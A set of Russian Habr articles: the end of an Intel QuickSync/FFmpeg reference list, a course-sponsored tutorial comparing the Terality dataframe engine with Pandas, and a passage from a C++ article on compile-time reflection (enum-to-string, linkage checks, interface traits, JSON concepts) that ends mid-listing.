7. [Intel Media Server Studio](https://software.intel.com/en-us/intel-media-server-studio)
8. [Ускорение приложений на основе FFmpeg с помощью Intel Quick Sync Video](https://communities.intel.com/community/itpeernetwork/datastack/blog/2016/02/25/accelerating-your-ffmpeg-based-applications-with-intel-quick-sync-video)
9. [Intel QuickSync Video и FFmpeg\*](http://http//www.intel.com/content/dam/www/public/us/en/documents/white-papers/cloud-computing-quicksync-video-ffmpeg-white-paper.pdf)
10. [Intel QuickSync Video и FFmpeg: установка и проверка](http://www.intel.com/content/dam/www/public/us/en/documents/white-papers/quicksync-video-ffmpeg-install-valid.pdf)
11. [Доступ к Intel Media Server Studio для кодеков Linux с помощью FFmpeg](https://software.intel.com/en-us/articles/accessing-intel-media-server-studio-for-linux-codecs-with-ffmpeg)
12. [Значение кодека HEVC (H.265)](https://software.intel.com/en-us/blogs/2015/12/11/codecs-are-they-slowing-you-down) | https://habr.com/ru/post/301698/ | null | ru | null |
# Terality — автоматически масштабируемая альтернатива Pandas
К старту флагманского [курса по Data Science](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_230122&utm_term=lead) делимся туториалом по библиотеке Terality, которая сильно облегчит работу с действительно большими наборами данных даже на маломощных машинах. За подробностями приглашаем под кат.
---
Мы избалованы выбором в работе с данными. Инструмент номер один — Pandas, затем идут Dask, Vaex, Datatable, cuDF и так далее. К этому списку добавим Terality, как будто всего этого недостаточно.
Возникает вопрос: Terality компенсирует скорость Pandas ценой её простоты и гибкости? Нет. Terality — это злой кузен Pandas, рождённый с суперсилой. У него похожий синтаксис, но работает он молниеносно и не зависит от мощности вашей машины. Звучит слишком хорошо, чтобы быть правдой? Тогда читайте. Эта статья не оплачена и отражает мой собственный взгляд.
Что же такое Terality, и как он работает?
-----------------------------------------
Terality — это бессерверный движок обработки данных, выполняемый на гигантских кластерах. Вы сможете работать с наборами данных аномальных размеров с молниеносной скоростью, не беспокоясь о масштабировании ресурсов на кластерах или какой-то инфраструктуре. Я говорю о двух вещах:
1. Ограничений по памяти, а значит, и по размеру набора данных, практически нет.
2. Чтобы обрабатывать гигабайты данных даже на машине c 4 Гб оперативной памяти, нужно только хорошее соединение с интернетом.
Terality — это пакет с тем же синтаксисом, что и Pandas. Чтобы переключиться на Terality, нужно изменить всего одну строку кода.
Пакет отправляет запрос движку Terality, где вы можете вызвать функции Pandas. Он обрабатывает данные и команды, отправляя результат вам. Установка займёт около минуты. Будет нужно установить пакет и ввести ваш ключ к API движка. Сделать это можно по [ссылке](https://app.terality.com/).
Подготовка набора данных
------------------------
Pandas появилась в январе 2008 года, когда заботой специалистов по науке о данных были игрушечные наборы данных. Сегодня люди работают с монстрами и обнаруживают, что у Pandas не хватает духу, чтобы приручить их. Компания Terality готова решить эту проблему.
Чтобы проиллюстрировать это, возьмём выборку из набора данных в 60 миллионов строк и 18 столбцов.
```
import pandas as pd
df = pd.read_csv("data/train.csv")
large_df = df.sample(6 * 10 ** 7, replace=True) # 60 million rows
large_df.to_parquet(
"data/tps_may_large.parquet", row_group_size=len(df) // 15, engine="pyarrow"
)
```
Данные сохраним в Parquet, потому что записывать их в CSV было бы оптимистично до глупости. Файл займёт около 7 Гб, что по современным стандартам довольно мало:
```
from pathlib import Path
size = Path("data/tps_may_large.parquet").stat().st_size
size_in_gb = size / 1024 ** 3
>>> round(size_in_gb, 2)
7.1
```
Terality против Pandas — загрузка данных
----------------------------------------
Начнём со сравнения скорости загрузки файла Parquet в рабочее пространство. Производительность Pandas сильно зависит от центрального процессора вашей машины. Моя AMD Ryzen 9 3900X с 12 ядрами — один из последних процессоров, она быстрее Google Colab или бесплатных процессоров Kaggle. Так что можно ожидать от моей машины достойного отпора виртуальным серверам.
Начнём со сравнения скорости загрузки файла Pandas в рабочее пространство:
```
import pandas as pd
%%time
df = pd.read_parquet("data/tps_may_large.parquet")
```
Что касается Terality, я читаю данные с Amazon S3:
```
import terality as te
%%time
df_te = te.read_parquet("s3://sample-bucket-for-medium/tps_may_large.parquet")
```
Даже если вы можете работать с локальными файлами, Terality лучше работает с Amazon S3 или Google Cloud. Как я уже упоминал, скорость Terality зависит от скорости вашего интернета. Чтение файла Parquet из памяти означает отправку 7 Гб данных в движок, что далеко от идеала. И вот мои результаты:
Terality немного позади из-за скорости интернета и мощности моего процессора. Продолжая сравнение, выполним другие тяжёлые операции.
### Общие операции Pandas
До того как показать мои локальные результаты, давайте [посмотрим](https://h2oai.github.io/db-benchmark/) на известный бенчмарк с набором данных в 50 Гб. Вот результат сложной операции группировки:
Держаться удаётся только Terality, в то время как другие разрываются от неприятных ошибок памяти. То же самое верно для оператора объединения:
Конечно, не все обладают роскошными компьютерами со 128 Гб памяти, поэтому я просто покажу эксперименты на моей скромной машине в 32 Гб:
### Группировка
```
%%time
df.groupby("cat2").mean()
```
### Сортировка
```
%%time
df.sort_values(by="cont5", ascending=False)
```
### Новый столбец
```
%%time
df["new"] = df["cont0"].apply(lambda x: np.sqrt(np.exp(x)))
df["new"].sample(5)
145053 1.40283
286303 1.27540
103920 1.16384
85100 1.29126
216857 1.17710
Name: new, dtype: float64
```
### Замена
```
%%time
df.replace(["A", "B", "C"], ["AA", "BB", "CC"], inplace=True)
```
Как я уже сказал, у меня достаточно хорошая машина, но она всё равно проигрывает во всех операциях.
Ловушки и стоимость
-------------------
Хотя синтаксис Terality идентичен синтаксису Pandas, некоторые функции Pandas ещё не реализованы.
Вы можете ожидать около 80–90% всех методов фреймов данных и рядов, они будут работать с фреймами данных Terality. Большинство функций глобального пространства имён Pandas вида `pd.some_function` тоже работают. Учтите, что Terality всё ещё в бете, а это немалый подвиг. Возможно, вы уже догадались, что Terality — условно бесплатная программа. Бесплатный тарифный план включает 200 Гб.
Сегодняшние наборы данных занимают до 68 Гб памяти [подсчёт с выполнением глубокой интроспеции], смотрите `df.info(memory_usage='deep')`, так что свой бесплатный тарифный план я израсходовал достаточно быстро.
Однако команда Terality была достаточно заботлива, чтобы обновить мой план, позволив закончить эксперименты для этой статьи. Когда я написал эту статью, Terality обновил свои тарифные планы, как показано на скриншоте.
### Заключение
Да, Terality великолепен — никакой другой инструмент не приблизился настолько к сходству с Pandas. Этот движок без ограничений по памяти просто совершенен. Но Terality — не игрушка для досуга.
Тарифный план в 200 Гб не такой щедрый, как вы думаете, потому что считается каждый вызов интерфейса программирования приложений, а не просто чтение данных. Вот моя статистика за время, пока я писал эту статью:
Прежде всего я предлагаю узнать, как выжать лучшее из самого Pandas и сделать его как можно более быстрым. Только когда вы начнёте получать ошибки памяти и обнаружите себя ожидающим даже простейших вычислений, настанет момент поиска альтернатив. И тогда Terality окажется в топе как самый быстрый и простой инструмент, у которого практически нет кривой обучения. А продолжить погружение в Data Science и Python вы сможете на наших курсах:
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_230122&utm_term=conc)
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_230122&utm_term=conc)
Узнайте подробности [здесь](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_230122&utm_term=conc).
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_230122&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_230122&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_230122&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_230122&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_230122&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_230122&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_230122&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_230122&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_230122&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_230122&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_230122&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_230122&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_230122&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_230122&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_230122&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_230122&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_230122&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_230122&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_230122&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_230122&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_230122&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_230122&utm_term=cat) | https://habr.com/ru/post/647271/ | null | ru | null |
# Рефлексия в C++Next на практике
Определение понятия "рефлексия" из Википедии:
> In computer science, **reflective programming** or **reflection** is the ability of a process to examine, introspect, and modify its own structure and behavior.
>
>
В последние годы разрабатываются варианты ввода рефлексии в стандарт C++.
В этой статье мы напишем код на C++ с рефлексией для решения разных задач, **скомпилируем и запустим** его на форке компилятора с рабочей реализацией рефлексии.
Рефлексия в других языках
-------------------------
Во многих других языках, активно использующихся для бэкенда, рефлексия очень мощная. Пара примеров:
В языке **Python** в run-time можно получить класс объекта; имя класса; все его методы и аттрибуты; добавить методы и аттрибуты в класс; и так далее. По большому счету, каждый объект и класс это dict (с синтаксическим сахаром), который можно изменять как угодно.
В языке **Java** в run-time также можно получить класс объекта; его поля, методы, константы, конструкторы, суперклассы; получать и устанавливать значение поля по его имени; вызывать метод объекта по имени; и так далее. Информация о классах находится в памяти Java Virtual Machine.
Действия, описанные выше - как раз то, что обычно подразумевается под словом "рефлексия".
Эрзац-рефлексия в C++
---------------------
В C++ постепенно добавлялись некоторые магические кусочки "языкознания", с помощью которых можно получить часть информацию о коде - например [std::is\_enum](https://en.cppreference.com/w/cpp/types/is_enum) (compile-time), [typeid](https://en.cppreference.com/w/cpp/language/typeid) (run-time).
Это можно отнести к рефлексии, но функционал спартанский и для великих свершений не годен. История знает разного рода приспособления для уменьшения боли.
#### Кодогенерация по описанию типа данных
К этому типу принадлежит [protobuf](https://developers.google.com/protocol-buffers) - модный "носитель" данных.
В `.proto`-файле описывается структура данных (`message Person`), по которой кодогенератор для C++ может создать соответствующий ей класс (`class Person`) с геттерами/сеттерами, и возможностью сериализовать эти данные без копипаста имени каждого метода.
Сериализовать объект класса можно в бинарное представление (оптимальный путь, для передачи по сети), или в человекочитаемое представление (например для логирования).
Таким образом, программисту не придется корячить и поддерживать собственную систему сериализации данных, потому что protobuf уже набил все шишки за него.
#### Адские макросы и шаблоны
К этому типу принадлежит библиотека [Boost.Hana](https://www.boost.org/doc/libs/1_67_0/libs/hana/doc/html/index.html). Для нее нужно описывать структуру нужным образом:
```
struct Person {
BOOST_HANA_DEFINE_STRUCT(Person,
(std::string, name),
(int, age)
);
};
```
Макрос "раскроется" и все сгенерирует. Похоже на "демосцену" - выжимают максимум возможностей из инструмента, который не был для этого предназначен.
#### Экстремальный залаз в компилятор
Интересные вещи можно сделать, проанализировав исходный код.
Некоторые инструменты (кодогенераторы/чекеры/etc.) создаются как "плагин" к используемому компилятору. Например, чтобы работать с исходниками на уровне AST (абстрактного синтаксического дерева), можно использовать [cppast](https://github.com/foonathan/cppast).
AST это промежуточный вариант между исходным кодом и ассемблером. К нему надо привыкнуть, но это проще, чем писать самодельный парсер кода на C++. Если кто-то смотрел исходники GCC или Clang, тот знает, что с нуля написать парсер малореально.
Особенности рефлексии в C++
---------------------------
В отличие от многих других языков, где с рефлексией работают в **run-time**, дух C++ требует сделать рефлексию в **compile-time**.
Так как язык старается соответствовать принципу "don’t pay for what you don’t use", то ~95% всей информации из исходников в рантайме просто испаряется. В языке не существует теоретической возможности сделать рефлексию в рантайме без раздувания бинаря чем-нибудь навроде [RTTI](https://en.wikibooks.org/wiki/C%2B%2B_Programming/RTTI) (с многократно большим объемом).
C++ можно рассматривать как сборник из "под-языков", работающих на разных "уровнях". Условное деление:
* **Собственно C++**: работа с памятью, объектами, потоками (и вообще с интерфейсом ОС), манипуляция данными. Работает в **run-time**.
* **Шаблоны**: обобщенное программирование в исходниках. Работает (вычисляется) в **compile-time**.
* **Constexpr-вычисления**: это "интерпретируемое" подмножество "Собственно C++", от года в год расширяется. Подробнее о них можно прочитать в [моей прошлой статье](https://habr.com/ru/post/579490/). Вычисляется в **compile-time** прямо внутри компилятора.
* **Препроцессор**: работает с токенами (отдельными словами) исходников. С C++ имеет очень посредственную связь, абсолютно такой же препроцессор могли бы сделать для Rust/Java/C#/etc. Единственный из "под-языков" не тьюринг-полный. Работает в **compile-time**.
Делать рефлексию в виде препроцессорных директив бессмыслено из-за отсутствия тьюринг-полноты. Остаются только шаблоны или constexpr-вычисления.
Сначала рефлексию планировали ввести в шаблонной парадигме, сейчас планируют ввести в constexpr-парадигме (так как возможности constexpr значительно расширились).
Я приведу примеры обеих подходов, и где можно **скомпилировать** код с их использованием.
Рефлексия на шаблонах
---------------------
Основной источник информации про рефлексию на шаблонах - pdf-ка [Reflection TS](https://cplusplus.github.io/reflection-ts/draft.pdf), более короткое объяснение есть на [cppreference.com](https://en.cppreference.com/w/cpp/experimental/reflect).
Свой код с использованием рефлексии можно скомпилировать на [godbolt.org](https://godbolt.org/), выбрав компилятор `x86-64 clang (reflection)`.
Вводится оператор `reflexpr(X)`, которому можно "скормить" вместо `X` что угодно: тип, выражение, имя переменной, вызов метода, и т.д.
Этот оператор вернет так называемый *meta-object type* (далее - магический тип"), который для нас будет являться безымянным incomplete классом. Пример кода:
```
enum Color {
Red, Green, Blue
};
using MetaT = reflexpr(Color);
```
Этот класс будет удовлетворять некоторому множеству концептов (в `Reflection TS` есть таблица концептов).
Например, `MetaT` удовлетворяет концепту `reflect::Enum`, и не удовлетворяет `reflect::Variable` - [ссылка на код](https://godbolt.org/z/Tf63PKEhG) с проверкой.
Работа происходит с помощью "трансформаций" одних магических типов в других. Список доступных трансформаций зависит от того, каким концептам удовлетворяет исходный тип. Например, `Reflection TS` определяет такой шаблон, доступный только удовлетворяющим `reflect::Enum` магическим типам:
```
template struct get\_enumerators;
// и его short-hand
template
using get\_enumerators\_t = typename get\_enumerators::type;
```
Таким образом, трансформация `get_enumerators_t` скомпилируется. С ее помощью мы получим другой магический тип, на этот раз удовлетворяющий концепту `reflect::ObjectSequence`.
Выведем название первого элемента `enum Color` спустя несколько трансформаций:
```
int main() {
constexpr std::string_view name = get_name_v>>;
std::cout << "The name of the first value is \"" << name << "\"" << std::endl;
}
```
[Ссылка на код](https://godbolt.org/z/6Prs3fT1b).
Основная претензия к шаблонному подходу - неочевидность, как надо писать код. Мы хотим написать цикл по `ObjectSequence`? Обычным for-ом это сделать нельзя, есть только размер последовательности и получение элемента из него, и некий unpack\_sequence:
```
template struct get\_size;
template struct get\_element;
template class Tpl, ObjectSequence T>
struct unpack\_sequence;
```
Если мы хотим сделать такую элементарную задачу, как по значению enum-а получить его строковое представление, надо написать какую-то жуть, в которой совсем ничего не понятно - [ссылка на код в gist](https://gist.github.com/Izaron/290afdfc8af4ff81ceea11a10b2e57d4).
Рефлексия в constexpr
---------------------
Язык развивают живые люди, у них тоже идет кровь из глаз при виде метапрограммирования на шаблонах, поэтому сейчас развивается другой подход к рефлексии.
Основные источники информации про текущий вариант рефлексии - документ [P2320](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2021/p2320r0.pdf), видео-выступление Andrew Sutton [на ютубе](https://youtu.be/60ECEc-URP8), и частично [Wiki](https://github.com/lock3/meta/wiki/Reflection-Introductory-Tutorial) в гитхабе реализации.
Рефлексия вводится в виде оператора `^X` перед рефлексируемой сущностью `X`. Применение оператора создаст constexpr-**объект** типа `std::experimental::meta::info`.
После манипуляций с объектом (которые должны происходить в compile-time) можно "вернуть" его в "реальный" мир через оператор `[:X:]` (называется "splice"). Запись `[:^X:]` практически эквивалентна `X`.
Andrew Sutton в видео приводит игрушечный пример с созданием объекта типа `T****...*` (количество звёздочек равно N). Вот так можно сделать через шаблоны:
```
template
auto make\_indirect\_template() {
if constexpr (N == 0) {
return T{};
} else {
return make\_indirect\_template();
}
}
```
А вот так можно сделать через рефлексию:
```
consteval meta::info make_pointer(meta::info type, int n) {
for (int i = 0; i < n; ++i) {
type = meta::add_pointer(type);
}
return type;
}
template
auto make\_indirect\_reflective() {
return typename [:make\_pointer(^T, N):]{};
}
```
Код внутри consteval-методов выполняется только в compile-time. Все consteval-методы после компиляции "испаряются", то есть их код в бинарнике отсутствует.
Можно вывести имя получившихся типов:
```
int main() {
auto ptr1 = make_indirect_template();
std::cout << meta::name\_of(meta::type\_of(^ptr1)) << std::endl;
auto ptr2 = make\_indirect\_reflective();
std::cout << meta::name\_of(meta::type\_of(^ptr2)) << std::endl;
}
```
[Компиляция на godbolt](https://cppx.godbolt.org/z/v5b7zP36Y)
### Соглашение о записи операторов
Записи операторов `^X` и `[:X:]` могут не пройти проверку временем и видоизмениться к момента входа в стандарт. Но это будут взаимозаменяющие записи.
Ранее вместо `^X` был `reflexpr(X)`, вместо `[:X:]` был `unreflexpr(X)`.
На данный момент текущая запись является "официальной", что можно увидеть в [github-тикете про P2320](https://github.com/cplusplus/papers/issues/1002).
### Компиляция и запуск
Свой код с использованием рефлексии можно запустить на [cppx.godbolt.com](https://cppx.godbolt.org/), выбрав компилятор `p2320 trunk`.
Это не очень удобно и быстро, поэтому я компилирую через терминал. В лучших традициях форк компилятора предлагается собрать самому [по инструкции](https://github.com/lock3/meta/wiki/Build-Instructions), поэтому я создал docker-образ.
Сборка с использованием docker-образаdocker-образ был создан по этому [Dockerfile](https://gist.github.com/Izaron/b9cffc1270ecd102cf47d36e2f9b88a5), собирал ветку [paper/p2320](https://github.com/lock3/meta/tree/paper/p2320).
Образ можно загрузить:
```
docker pull sehnsucht88/clang-p2320
```
Пусть ваш исходник `code.cpp` находится в директории `/home/username/cpp`, тогда запускать можно так:
```
docker run --rm -v /home/username/cpp:/cpp sehnsucht88/clang-p2320 -std=c++2a -freflection -stdlib=libc++ /cpp/code.cpp -o /cpp/bin
```
После компиляции в директории `/home/username/cpp` будет лежать запускаемый бинарник `bin`
На случай удаления репозитория я сделал форк - <https://github.com/Izaron/meta>.
Рефлексия на практике
---------------------
Теперь попробуем написать что-то рефлексивное.
### Значение enum-а в строковом представлении
В отличие от "рефлексии на шаблонах", в "рефлексии на constexpr" это сделать намного проще. Пример кода (немного изменил код из [видео Andrew Sutton](https://youtu.be/60ECEc-URP8)):
```
template
requires std::is\_enum\_v
constexpr std::string\_view to\_string(T value) {
template for (constexpr meta::info e : meta::members\_of(^T)) {
if ([:e:] == value) {
return meta::name\_of(e);
}
}
throw std::runtime\_error("Unknown enum value");
}
```
`template for` - это фича, которая не успела войти в стандарт C++20. В нашем случае она раскрывает range методом копипаста. Пусть у нас такой enum:
```
enum LightColor { Red, Green, Blue };
```
Тогда метод раскроется в такой вид:
```
template<>
constexpr std::string_view to_string(T value) {
{ if (Red == value) return "Red"; }
{ if (Green == value) return "Green"; }
{ if (Blue == value) return "Blue"; }
throw std::runtime\_error("Unknown enum value");
}
```
Аналогично можно сделать метод, который по строковому представлению вернет значение enum-а
Исходник from\_string
```
template
requires std::is\_enum\_v
constexpr std::optional from\_string(std::string\_view value) {
template for (constexpr meta::info e : meta::members\_of(^T)) {
if (meta::name\_of(e) == value) {
return [:e:];
}
}
return {};
}
```
[Компиляция на godbolt](https://cppx.godbolt.org/z/Yc8dhfGW7)
### Проверка функций на internal linkage
Можно реализовать проверку на отсутствие видимых "снаружи" (вне единицы трансляции) методов с помощью вызова `meta::is_externally_linked`.
Небольшое отступление - в форке компиляции доступно несколько вспомогательных методов, работающих в compile-time:
* `__reflect_dump` - принимает `meta::info`, выведет в терминал AST соответствующей ему сущности.
* `__compiler_error` - принимает строку, завершает компиляцию ошибкой с выводом данной строки.
* `__concatenate` - соединяет несколько строковых литералов в один.
Первые два метода нужны для удобства разработки compile-time кода. Третий метод нужен, потому что `std::string` в compile-time пока еще нет в стандарте (но когда-то будет).
Про `meta::info` есть один факт - в некоторых случаях мы не можем написать метод так:
```
consteval void foo(meta::info r) { /* ... */ }
```
потому что компилятор думает, что `meta::info` протекает в run-time... Зато можем написать так:
```
template
consteval void foo() { /\* ... \*/ }
```
Теперь попробуем решить нашу задачу. Методы находятся внутри namespace. Поэтому надо проитерироваться по всем членам namespace, являющимися функциями. Также могут быть вложенные namespace, поэтому их также надо проверить рекурсивно.
```
template
consteval void check\_functions\_linkage() {
static\_assert(meta::is\_namespace(R));
template for (constexpr meta::info e : meta::members\_of(R)) {
if constexpr (meta::is\_function(e)) {
\_\_reflect\_dump(e);
if constexpr (meta::is\_externally\_linked(e)) {
constexpr auto error\_msg =
\_\_concatenate("The method '", meta::name\_of(e), "' is externally linked");
\_\_compiler\_error(error\_msg);
}
}
if constexpr (meta::is\_namespace(e)) {
check\_functions\_linkage();
}
}
}
```
Заведем игрушечный namespace - компиляция будет падать так, как нам нужно:
```
namespace outer {
bool foo(int i) { return i == 13; }
std::string bar(std::string s) { return s + s; };
namespace inner {
double fizz() { return 3.14; }
} // namespace inner
} // namespace outer
int main() {
check_functions_linkage<^outer>();
std::cout << "compiled!" << std::endl;
}
```
Чтобы компиляция перестала падать, нужно сделать методы имеющими internal linkage.
Способы это сделатьНаписать модификатор `static`
```
namespace outer {
static bool foo(int i) { return i == 13; }
static std::string bar(std::string s) { return s + s; };
namespace inner {
static double fizz() { return 3.14; }
} // namespace inner
} // namespace outer
```
Или поместить методы внутри анонимного namespace
```
namespace outer {
namespace {
bool foo(int i) { return i == 13; }
std::string bar(std::string s) { return s + s; };
namespace inner {
double fizz() { return 3.14; }
} // namespace inner
} // anonymous namespace
} // namespace outer
```
При желании можно пропарсить всё, до чего только можно дотянуться - если итерироваться по глобальному namespace (он же `::`). Рефлексия глобального namespace это `^::`.
[Компиляция на godbolt](https://cppx.godbolt.org/z/nPYanasYP)
### Проверка, что тип является интерфейсом
Можно проверить, что тип является "абстрактным", то есть имеет хотя бы один *чисто виртуальный* метод, через [std::is\_abstract](https://en.cppreference.com/w/cpp/types/is_abstract).
Понятие "интерфейс" в стандарте не зафиксировано, но можно выработать для него требования:
1. Все user-defined методы (т.е. которые юзер написал сам, а не которые сгенерированы компилятором) *публичные* и *чисто виртуальные.*
2. У класса нет переменных.
3. В классе есть *публичный виртуальный деструктор*, являющийся *defaulted*.
Вот как можно описать эти требования:
```
namespace traits {
template
consteval bool is\_interface\_impl() {
constexpr meta::info refl = ^T;
if constexpr (meta::is\_class(refl)) {
template for (constexpr meta::info e : meta::members\_of(refl)) {
// interfaces SHALL NOT have data members
if constexpr (meta::is\_data\_member(e)) {
return false;
}
// every user function in interfaces SHOULD BE public and pure virtual
if constexpr (meta::is\_function(e) && !meta::is\_special\_member\_function(e)) {
if constexpr (!meta::is\_public(e) || !meta::is\_pure\_virtual(e)) {
return false;
}
}
// the destructor SHOULD BE virtual and defaulted
if constexpr (meta::is\_function(e) && meta::is\_destructor(e)) {
if constexpr (!meta::is\_public(e) || !meta::is\_defaulted(e) || !meta::is\_virtual(e)) {
return false;
}
}
}
return true;
}
return false;
}
template
constexpr bool is\_interface = is\_interface\_impl();
} // namespace traits
```
Можно протестировать написанный метод:
Разные тесты
```
// IS NOT abstract, IS NOT interface
class foo {
public:
void foo_void();
private:
int _foo_int;
};
static_assert(not std::is_abstract_v);
static\_assert(not traits::is\_interface);
// IS abstract, IS NOT interface
class bar {
public:
virtual void bar\_void() = 0;
std::string bar\_string();
private:
int \_foo\_int;
};
static\_assert( std::is\_abstract\_v);
static\_assert(not traits::is\_interface);
// IS abstract, IS NOT interface
class fizz {
public:
virtual void fizz\_void() = 0;
std::string fizz\_string();
};
static\_assert( std::is\_abstract\_v);
static\_assert(not traits::is\_interface);
// IS abstract, IS NOT interface
class buzz {
public:
virtual void buzz\_void() = 0;
virtual std::string buzz\_string() = 0;
};
static\_assert( std::is\_abstract\_v);
static\_assert(not traits::is\_interface);
// IS abstract, IS NOT interface
class biba {
public:
virtual ~biba() { /\* ... not defaulted dtor ... \*/ };
virtual void biba\_void() = 0;
virtual std::string biba\_string() = 0;
};
static\_assert( std::is\_abstract\_v);
static\_assert(not traits::is\_interface);
// IS abstract, IS interface
class boba {
public:
virtual ~boba() = default;
virtual void boba\_void() = 0;
virtual std::string boba\_string() = 0;
};
static\_assert( std::is\_abstract\_v);
static\_assert( traits::is\_interface);
```
[Компиляция на godbolt](https://cppx.godbolt.org/z/vWMxPx99z)
### Сериализация объекта в JSON
Сериализация в JSON это такой FizzBuzz для любителей рефлексии. Каждый уважающий себя разработчик рефлексии рано или поздно это напишет.
В своем видео Andrew Sutton разбирает вопрос с JSON, но больше как псевдокод. Мы напишем свою реализацию.
Если модель данных немаленькая, то с "голым" JSON работать становится очень неудобно - всё нетипизированно и как будто постоянно лезешь в свалку данных, чтобы получить нужные поля. Можно конвертировать JSON в свои структуры, но это влечет кучу копипаста - чего можно избежать при наличии рефлексии.
[Базовые типы](https://en.wikipedia.org/wiki/JSON#Data_types) JSON это `Number`, `String`, `Boolean`, `Array`, `Object`; пустое значение - `null`. Напишем концепты для каждого типа.
`Number` это каждый тип, удовлетворяющий [std::is\_arithmetic](https://en.cppreference.com/w/cpp/types/is_arithmetic):
```
template
concept JsonNumber = std::is\_arithmetic\_v;
```
`String` это строковой тип, причем объект должен *владеть* строкой, а не просто знать о ней (как `std::string_view`). Потому что где сериализация - там и десериализация, поэтому нужен владеющий тип. Это, конечно, только `std::string`:
```
template
concept JsonString = std::same\_as;
```
`Boolean` это просто `bool`:
```
template
concept JsonBoolean = std::same\_as;
```
`Array` должен быть контейнером из последовательных элементов. Другими словами, это должен быть [SequenceContainer](https://en.cppreference.com/w/cpp/named_req/SequenceContainer) - `std::array`/`std::vector`/`std::deque`/`std::forward_list`/`std::list`.
К сожалению, готового концепта для них нет - есть только вилами по воде писанные свойства. Поэтому напишем свой концепт с нуля, который определяет, что тип является инстанциацией нужного шаблона:
концепт JsonArrayспустя несколько ошибок компиляции...
```
static constexpr meta::info vector_refl = ^std::vector;
static constexpr meta::info array_refl = ^std::array;
static constexpr meta::info deque_refl = ^std::deque;
static constexpr meta::info list_refl = ^std::list;
static constexpr meta::info forward_list_refl = ^std::forward_list;
template
consteval bool is\_json\_array\_impl() {
if constexpr (meta::is\_specialization(^T)) {
constexpr auto tmpl = meta::template\_of(^T);
constexpr bool result =
tmpl == vector\_refl || tmpl == array\_refl ||
tmpl == deque\_refl || tmpl == list\_refl ||
tmpl == forward\_list\_refl;
return result;
}
return false;
}
template
concept JsonArray = is\_json\_array\_impl();
```
В данный момент сравнение как `tmpl == ^std::vector` крашит clang, поэтому придется писать так.
`Object` это просто класс/структура. В нем, конечно, должны быть дополнительные ограничения, чтобы сериализовать/десериализовать можно было достаточно простой тип - скажем, без членов со ссылочными типами. Но пока обойдемся базовым примером.
```
template
concept JsonObject = std::is\_class\_v;
```
Значение `null` можно ввести для `std::optional`, который не содержит значения.
концепт JsonNullable
```
static constexpr meta::info optional_refl = ^std::optional;
template
